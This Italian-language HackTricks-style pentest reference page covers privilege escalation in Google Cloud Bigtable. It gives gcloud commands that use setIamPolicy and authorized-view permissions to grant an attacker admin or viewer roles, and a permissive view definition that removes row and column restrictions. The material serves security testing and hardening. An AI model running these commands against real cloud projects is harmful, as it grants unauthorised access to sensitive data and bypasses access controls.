# GCP - Bigtable Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Per maggiori informazioni su Bigtable consulta:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### `bigtable.instances.setIamPolicy`

**Permessi:** `bigtable.instances.setIamPolicy` (e di solito `bigtable.instances.getIamPolicy` per leggere gli bindings correnti).

Possedere la policy IAM dell'istanza ti permette di assegnarti **`roles/bigtable.admin`** (o qualsiasi ruolo custom) che si propaga a ogni cluster, tabella, backup e vista autorizzata nell'istanza.

<details><summary>Assegnati il ruolo bigtable.admin sull'istanza</summary>
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

> [!TIP]
> Se non puoi elencare i binding esistenti, crea un nuovo documento di policy e applicalo con `gcloud bigtable instances set-iam-policy`, purché tu rimanga incluso nella policy.

Dopo aver ottenuto questa autorizzazione consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per ulteriori modi di abusare delle autorizzazioni di Bigtable.

### `bigtable.tables.setIamPolicy`

**Permessi:** `bigtable.tables.setIamPolicy` (opzionalmente `bigtable.tables.getIamPolicy`).

Le policy dell'istanza possono essere bloccate mentre le singole tabelle vengono delegate. Se puoi modificare l'IAM della tabella puoi **promuoverti a proprietario del dataset target** senza toccare altri carichi di lavoro.

<details><summary>Concediti il ruolo bigtable.admin sulla tabella</summary>
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per altre tecniche per abusare delle autorizzazioni di Bigtable.


### `bigtable.backups.setIamPolicy`

**Permissions:** `bigtable.backups.setIamPolicy`

I backup possono essere ripristinati su **qualsiasi istanza in qualsiasi progetto** che controlli. Prima, concedi alla tua identità l'accesso al backup, poi ripristinalo in un sandbox dove detieni ruoli Admin/Owner.

Se hai il permesso `bigtable.backups.setIamPolicy` potresti concederti il permesso `bigtable.backups.restore` per ripristinare vecchi backup e provare ad accedere a informazioni sensibili.

<details><summary>Prendi possesso dello snapshot del backup</summary>
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

Dopo aver ottenuto questo permesso consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come ripristinare un backup.


### Aggiorna authorized view

**Permissions:** `bigtable.authorizedViews.update`

Authorized Views sono pensate per oscurare righe/colonne. Modificare o eliminare tali viste **rimuove i vincoli di controllo granulare** su cui i difensori fanno affidamento.

<details><summary>Aggiorna authorized view per ampliare l'accesso</summary>
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings

# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF

# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
</details>

Dopo aver verificato questo permesso nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come leggere da un Authorized View.

### `bigtable.authorizedViews.setIamPolicy`

**Permessi:**  `bigtable.authorizedViews.setIamPolicy`.

Un attaccante con questo permesso può concedersi l'accesso a un Authorized View, che può contenere dati sensibili a cui altrimenti non avrebbe accesso.

<details><summary>Concediti l'accesso all'Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
</details>

Dopo aver effettuato questo controllo dei permessi nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da una vista autorizzata.



{{#include ../../../banners/hacktricks-training.md}}
